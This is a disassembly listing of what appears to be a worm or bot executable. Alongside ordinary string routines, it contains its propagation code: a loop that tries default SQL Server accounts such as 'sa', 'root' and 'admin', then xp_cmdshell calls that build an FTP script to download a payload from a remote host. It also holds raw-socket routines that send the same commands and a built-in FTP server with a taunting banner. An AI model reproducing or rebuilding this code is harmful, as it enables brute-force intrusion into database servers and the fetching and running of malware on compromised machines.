		add	eax, [esi+4]
		push	eax
		call	sub_4155D0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0

loc_404BC6:				; CODE XREF: sub_404B77+1Cj
					; sub_404B77+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404B77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404BCE	proc near		; CODE XREF: sub_4046AA+17Cp
					; sub_41FE0A+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_404BE6
		call	sub_41FFDC

loc_404BE6:				; CODE XREF: sub_404BCE+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_404BF8
		mov	esi, [ebp+arg_8]

loc_404BF8:				; CODE XREF: sub_404BCE+25j
		cmp	edi, ebx
		jnz	short loc_404C1A
		push	dword_421248
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_404D92
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_404D92
		jmp	short loc_404C93
; ---------------------------------------------------------------------------

loc_404C1A:				; CODE XREF: sub_404BCE+2Cj
		test	esi, esi
		jbe	short loc_404C5D
		cmp	esi, eax
		jnz	short loc_404C5D
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404C2E
		mov	eax, offset dword_421258

loc_404C2E:				; CODE XREF: sub_404BCE+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_404C5D
		push	1
		mov	ecx, edi
		call	sub_404D21
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404C49
		mov	eax, offset dword_421258

loc_404C49:				; CODE XREF: sub_404BCE+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_404C93
; ---------------------------------------------------------------------------

loc_404C5D:				; CODE XREF: sub_404BCE+4Ej
					; sub_404BCE+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_404C9C
		test	al, al
		jz	short loc_404C93
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404C77
		mov	eax, offset dword_421258

loc_404C77:				; CODE XREF: sub_404BCE+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_4155D0
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0

loc_404C93:				; CODE XREF: sub_404BCE+4Aj
					; sub_404BCE+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_404BCE	endp


; =============== S U B	R O U T	I N E =======================================



sub_404C9C	proc near		; CODE XREF: sub_4046AA+3Dp
					; sub_404B1E+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_404CAE
		call	sub_41FDB0

loc_404CAE:				; CODE XREF: sub_404C9C+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_404CD7
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_404CD7
		cmp	al, 0FFh
		jz	short loc_404CD7
		cmp	edi, edx
		jnz	short loc_404D12
		dec	al
		push	edx
		mov	[ecx-1], al

loc_404CCC:				; CODE XREF: sub_404C9C+47j
		mov	ecx, esi
		call	sub_404D21

loc_404CD3:				; CODE XREF: sub_404C9C+4Bj
					; sub_404C9C+52j
		xor	al, al
		jmp	short loc_404D1C
; ---------------------------------------------------------------------------

loc_404CD7:				; CODE XREF: sub_404C9C+19j
					; sub_404C9C+20j ...
		cmp	edi, edx
		jnz	short loc_404CF0
		cmp	[esp+8+arg_4], dl
		jz	short loc_404CE5
		push	1
		jmp	short loc_404CCC
; ---------------------------------------------------------------------------

loc_404CE5:				; CODE XREF: sub_404C9C+43j
		cmp	ecx, edx
		jz	short loc_404CD3
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_404CD3
; ---------------------------------------------------------------------------

loc_404CF0:				; CODE XREF: sub_404C9C+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_404D0D
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_404D02
		cmp	eax, edi
		jnb	short loc_404D1A

loc_404D02:				; CODE XREF: sub_404C9C+60j
		push	1
		mov	ecx, esi
		call	sub_404D21
		jmp	short loc_404D12
; ---------------------------------------------------------------------------

loc_404D0D:				; CODE XREF: sub_404C9C+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_404D1A

loc_404D12:				; CODE XREF: sub_404C9C+28j
					; sub_404C9C+6Fj
		push	edi
		mov	ecx, esi
		call	sub_404DF9

loc_404D1A:				; CODE XREF: sub_404C9C+64j
					; sub_404C9C+74j
		mov	al, 1

loc_404D1C:				; CODE XREF: sub_404C9C+39j
		pop	edi
		pop	esi
		retn	8
sub_404C9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D21	proc near		; CODE XREF: sub_4046AA+1Fp
					; sub_4046AA+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_404D4D
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_404D4D
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_404D46
		cmp	al, 0FFh
		jz	short loc_404D46
		dec	al
		mov	[ecx], al
		jmp	short loc_404D4D
; ---------------------------------------------------------------------------

loc_404D46:				; CODE XREF: sub_404D21+19j
					; sub_404D21+1Dj
		push	ecx
		call	sub_416477
		pop	ecx

loc_404D4D:				; CODE XREF: sub_404D21+8j
					; sub_404D21+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_404D21	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D5D	proc near		; CODE XREF: seg000:00404A45p
					; sub_404EB6+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_404C9C
		test	al, al
		jz	short loc_404D8B
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_4155D0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_404D8B:				; CODE XREF: sub_404D5D+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_404D5D	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D92	proc near		; CODE XREF: sub_404BCE+39p
					; sub_404BCE+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_404DA5
		call	sub_41FFDC

loc_404DA5:				; CODE XREF: sub_404D92+Cj
		mov	ecx, edi
		call	sub_404EB6
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_404DBB
		mov	ebx, eax

loc_404DBB:				; CODE XREF: sub_404D92+25j
		test	ebx, ebx
		jbe	short loc_404DF1
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_416490
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_404C9C
		test	al, al
		jz	short loc_404DF1
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0

loc_404DF1:				; CODE XREF: sub_404D92+2Bj
					; sub_404D92+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404D92	endp


; =============== S U B	R O U T	I N E =======================================



sub_404DF9	proc near		; CODE XREF: sub_404C9C+79p
		mov	eax, offset loc_42028C
		call	sub_416458
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_404E1F
		mov	edi, [ebp+8]

loc_404E1F:				; CODE XREF: sub_404DF9+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_404E2C
		xor	eax, eax

loc_404E2C:				; CODE XREF: sub_404DF9+2Fj
		push	eax
		call	sub_4167C5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_404E5D
; ---------------------------------------------------------------------------

loc_404E38:				; DATA XREF: seg000:00421F0Co
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_404E47
		xor	eax, eax

loc_404E47:				; CODE XREF: sub_404DF9+4Aj
		push	eax
		call	sub_4167C5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_404E57
		retn
; ---------------------------------------------------------------------------

loc_404E57:				; DATA XREF: sub_404DF9+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]

loc_404E5D:				; CODE XREF: sub_404DF9+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_404E7B
		cmp	eax, edi
		jbe	short loc_404E6A
		mov	eax, edi

loc_404E6A:				; CODE XREF: sub_404DF9+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_4155D0
		add	esp, 0Ch

loc_404E7B:				; CODE XREF: sub_404DF9+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_404D21
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_404E9B
		mov	edi, ebx

loc_404E9B:				; CODE XREF: sub_404DF9+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_404DF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_404EB6	proc near		; CODE XREF: sub_404D92+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_404EE3
		mov	al, [esi-1]
		test	al, al
		jz	short loc_404EE3
		cmp	al, 0FFh
		jz	short loc_404EE3
		push	1
		call	sub_404D21
		push	esi
		call	sub_415CF0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_404D5D

loc_404EE3:				; CODE XREF: sub_404EB6+9j
					; sub_404EB6+10j ...
		pop	edi
		pop	esi
		retn
sub_404EB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_404EE6	proc near		; DATA XREF: seg000:00423008o
		test	byte_46977C, 1
		jnz	short loc_404EF6
		or	byte_46977C, 1

loc_404EF6:				; CODE XREF: sub_404EE6+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_416840
		pop	ecx
		retn
sub_404EE6	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F08	proc near		; CODE XREF: seg000:00405188p

var_E3C		= byte ptr -0E3Ch
var_A3C		= byte ptr -0A3Ch
var_63C		= byte ptr -63Ch
var_23C		= byte ptr -23Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1A		= byte ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h
arg_B4		= dword	ptr  0BCh

		push	ebp
		mov	ebp, esp
		sub	esp, 0E3Ch
		mov	al, byte_438FBC
		push	esi
		mov	[ebp+var_1], al
		push	edi
		lea	eax, [ebp+var_14]
		xor	edi, edi
		push	eax
		mov	esi, offset aSa	; "sa"
		push	edi
		push	1
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], offset aRoot ; "root"
		mov	[ebp+var_34], offset aAdmin ; "admin"
		mov	[ebp+var_30], offset aAdministrator ; "administrator"
		mov	[ebp+var_2C], offset aAdministrador ; "administrador"
		mov	[ebp+var_28], offset aAdministrater ; "administrater"
		mov	[ebp+var_24], offset aAdmins ; "admins"
		mov	[ebp+var_20], edi
		mov	[ebp+var_18], edi
		mov	[ebp+var_10], edi
		mov	[ebp+var_8], edi
		call	dword_43A31C
		test	ax, ax
		jnz	short loc_404F84
		push	0FFFFFFFAh
		push	3
		push	0C8h
		push	[ebp+var_14]
		call	dword_43A420
		test	ax, ax
		jz	short loc_404F8B

loc_404F84:				; CODE XREF: sub_404F08+63j
		xor	eax, eax
		jmp	loc_405164
; ---------------------------------------------------------------------------

loc_404F8B:				; CODE XREF: sub_404F08+7Aj
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+var_14]
		push	2
		call	dword_43A31C
		test	ax, ax
		jnz	loc_405157
		test	esi, esi
		push	ebx
		jz	loc_405148
		mov	edi, dword_421060
		lea	eax, [ebp+var_3C]
		mov	[ebp+var_C], eax
		mov	ebx, offset byte_42C1FC

loc_404FBD:				; CODE XREF: sub_404F08+1EBj
		cmp	off_42C368, 0
		jz	loc_4050E7
		mov	eax, offset off_42C368
		mov	esi, eax

loc_404FD1:				; CODE XREF: sub_404F08+13Ej
		lea	ecx, [ebp+var_1]
		push	ecx
		push	dword ptr [eax]
		mov	eax, [ebp+var_C]
		push	dword ptr [eax]
		lea	eax, [ebp+arg_4]
		push	[ebp+arg_A0]
		push	eax
		lea	eax, [ebp+var_A3C]
		push	offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
		push	eax
		call	sub_4154E7
		add	esp, 1Ch
		lea	eax, [ebp+var_1A]
		push	0
		push	eax
		lea	eax, [ebp+var_E3C]
		push	400h
		push	eax
		lea	eax, [ebp+var_A3C]
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A3C]
		push	eax
		push	0
		push	[ebp+var_10]
		call	dword_43A3D4
		test	ax, ax
		jz	short loc_40504D
		cmp	ax, 1
		jz	short loc_40504D
		push	1F4h
		call	edi	; Sleep
		add	esi, 4
		mov	eax, esi
		cmp	dword ptr [esi], 0
		jnz	short loc_404FD1
		jmp	loc_4050E7
; ---------------------------------------------------------------------------

loc_40504D:				; CODE XREF: sub_404F08+127j
					; sub_404F08+12Dj
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_10]
		push	3
		call	dword_43A31C
		push	ebx
		push	ebx
		call	sub_415543
		push	eax
		call	sub_415543
		push	eax
		push	dword_438FDC
		push	[ebp+arg_0]
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_63C]
		push	offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"...
		push	eax
		call	sub_4154E7
		add	esp, 20h
		lea	eax, [ebp+var_63C]
		push	0FFFFFFFDh
		push	eax
		push	[ebp+var_8]
		call	dword_43A35C
		test	ax, ax
		jz	short loc_4050DC
		mov	esi, 1388h
		push	esi
		call	edi	; Sleep
		push	ebx
		lea	eax, [ebp+var_63C]
		push	offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		lea	eax, [ebp+var_63C]
		push	0FFFFFFFDh
		push	eax
		push	[ebp+var_8]
		call	dword_43A35C
		test	ax, ax
		jz	short loc_4050F8
		push	esi
		call	edi	; Sleep

loc_4050DC:				; CODE XREF: sub_404F08+19Bj
		push	[ebp+var_8]
		push	3
		call	dword_43A3B4

loc_4050E7:				; CODE XREF: sub_404F08+BCj
					; sub_404F08+140j
		add	[ebp+var_C], 4
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax], 0
		jz	short loc_405148
		jmp	loc_404FBD
; ---------------------------------------------------------------------------

loc_4050F8:				; CODE XREF: sub_404F08+1CFj
		cmp	[ebp+arg_B4], 0
		mov	[ebp+var_18], 1
		jnz	short loc_405126
		push	0
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_405126:				; CODE XREF: sub_404F08+1FEj
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_427340[eax]
		lea	eax, dword_427340[eax]

loc_405148:				; CODE XREF: sub_404F08+9Ej
					; sub_404F08+1E9j
		push	[ebp+var_10]
		push	2
		call	dword_43A3B4
		mov	edi, [ebp+var_18]
		pop	ebx

loc_405157:				; CODE XREF: sub_404F08+95j
		push	[ebp+var_14]
		push	1
		call	dword_43A3B4
		mov	eax, edi

loc_405164:				; CODE XREF: sub_404F08+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_404F08	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		mov	dword ptr [ebp+0A8h], 599h
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404F08
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	dword ptr [ebp+0A8h], 1BDh
		mov	edi, esp
		mov	[ebp-4], eax
		rep movsd
		call	sub_403C8B
		add	esp, 0BCh
		mov	[ebp+0C0h], eax
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4051BC	proc near		; CODE XREF: seg000:004053BAp

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43A3D8	; inet_addr
		mov	[ebp+var_C], eax
		mov	ax, word_426710
		push	eax
		call	dword_43A398	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43A418	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4052D5
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43A340	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4052D5
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43A3B0	; recv
		mov	esi, offset byte_42C1FC
		push	esi
		push	esi
		push	dword_438FDC
		push	[ebp+arg_0]
		call	sub_40A171
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4052D5
		push	1F4h
		call	dword_421060	; Sleep
		push	esi
		push	offset dword_425050
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4052D9

loc_4052D5:				; CODE XREF: sub_4051BC+51j
					; sub_4051BC+67j ...
		xor	al, al
		jmp	short loc_4052F7
; ---------------------------------------------------------------------------

loc_4052D9:				; CODE XREF: sub_4051BC+117j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43A3B0	; recv
		push	ebx
		call	dword_43A430	; closesocket
		mov	al, 1

loc_4052F7:				; CODE XREF: sub_4051BC+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4051BC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		call	dword_4211C8	; gethostbyname
		mov	esi, eax
		test	esi, esi
		jnz	short loc_405326
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4211D8	; inet_addr
		mov	ebx, eax
		jmp	short loc_40532C
; ---------------------------------------------------------------------------

loc_405326:				; CODE XREF: seg000:00405316j
		mov	ebx, [ebp+0C0h]

loc_40532C:				; CODE XREF: seg000:00405324j
		push	11h
		push	2
		push	2
		call	dword_4211E0	; socket
		test	esi, esi
		mov	edi, eax
		jz	short loc_405356
		movsx	eax, word ptr [esi+0Ah]
		push	eax
		mov	eax, [esi+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		jmp	short loc_405359
; ---------------------------------------------------------------------------

loc_405356:				; CODE XREF: seg000:0040533Cj
		mov	[ebp-0Ch], ebx

loc_405359:				; CODE XREF: seg000:00405354j
		test	esi, esi
		jz	short loc_405367
		mov	ax, [esi+8]
		mov	[ebp-10h], ax
		jmp	short loc_40536D
; ---------------------------------------------------------------------------

loc_405367:				; CODE XREF: seg000:0040535Bj
		mov	word ptr [ebp-10h], 2

loc_40536D:				; CODE XREF: seg000:00405365j
		push	598h
		call	dword_4211DC	; htons
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		call	dword_4211E4	; connect
		test	eax, eax
		jnz	short loc_4053F2
		push	eax
		push	152h
		push	offset dword_4265BC
		push	edi
		call	dword_4211EC	; send
		push	3E8h
		call	dword_421060	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4051BC
		add	esp, 0BCh
		test	al, al
		jz	short loc_4053CE
		push	1
		pop	eax
		jmp	short loc_405404
; ---------------------------------------------------------------------------

loc_4053CE:				; CODE XREF: seg000:004053C7j
		lea	eax, [ebp-210h]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+0B0h]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_427340[eax]
		lea	eax, dword_427340[eax]
		jmp	short loc_405402
; ---------------------------------------------------------------------------

loc_4053F2:				; CODE XREF: seg000:0040538Bj
		push	1
		push	edi
		call	dword_4211CC	; shutdown
		push	edi
		call	dword_4211F0	; closesocket

loc_405402:				; CODE XREF: seg000:004053F0j
		xor	eax, eax

loc_405404:				; CODE XREF: seg000:004053CCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405409	proc near		; DATA XREF: sub_407276+226o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_238		= byte ptr -238h
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_228], edi
		mov	[ebp+var_438], edi
		call	dword_4211B0	; WSAStartup
		push	edi
		call	sub_416AD4
		push	eax
		call	sub_415539
		push	0FA00h
		push	471h
		call	sub_414098
		add	esp, 10h
		mov	dword_438FDC, eax
		push	edi
		push	ebx
		push	2
		call	dword_4211E0	; socket
		mov	esi, eax
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		call	dword_4211B4	; setsockopt
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4211B8	; ioctlsocket
		mov	ax, word ptr dword_438FDC
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		call	dword_4211DC	; htons
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		call	dword_4211BC	; bind
		test	eax, eax
		jge	short loc_4054DE
		mov	eax, ebx
		jmp	loc_405A05
; ---------------------------------------------------------------------------

loc_4054DE:				; CODE XREF: sub_405409+CCj
		push	0Ah
		push	esi
		call	dword_4211C0	; listen
		mov	[ebp+var_228], ebx
		mov	ebx, dword_4211EC
		mov	[ebp+var_224], esi
		mov	[ebp+var_4], esi

loc_4054FC:				; CODE XREF: sub_405409+12Cj
					; sub_405409+5F4j
		push	41h
		lea	esi, [ebp+var_228]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_438]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	dword_4211D0	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_405A02
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_4054FC

loc_405537:				; CODE XREF: sub_405409+5EEj
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_415570
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_420106	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4059F0
		cmp	edi, [ebp+var_C]
		jnz	short loc_4055EE
		lea	eax, [ebp+var_24]
		mov	[ebp+var_24], 10h
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+var_C]
		call	dword_4211C4	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_4059F0
		xor	ecx, ecx
		cmp	[ebp+var_228], esi
		jbe	short loc_4055B8
		lea	edx, [ebp+var_224]

loc_4055A8:				; CODE XREF: sub_405409+1ADj
		cmp	[edx], eax
		jz	short loc_4055B8
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_228]
		jb	short loc_4055A8

loc_4055B8:				; CODE XREF: sub_405409+197j
					; sub_405409+1A1j
		cmp	ecx, [ebp+var_228]
		jnz	short loc_4055D6
		cmp	[ebp+var_228], 40h
		jnb	short loc_4055D6
		mov	[ebp+ecx*4+var_224], eax
		inc	[ebp+var_228]

loc_4055D6:				; CODE XREF: sub_405409+1B5j
					; sub_405409+1BEj
		cmp	eax, [ebp+var_4]
		jle	short loc_4055DE
		mov	[ebp+var_4], eax

loc_4055DE:				; CODE XREF: sub_405409+1D0j
		push	esi
		push	15h
		push	offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_4059F0
; ---------------------------------------------------------------------------

loc_4055EE:				; CODE XREF: sub_405409+169j
		push	esi
		lea	eax, [ebp+var_29C]
		push	64h
		push	eax
		push	edi
		call	dword_4211E8	; recv
		test	eax, eax
		jg	short loc_405655
		mov	edx, [ebp+var_228]
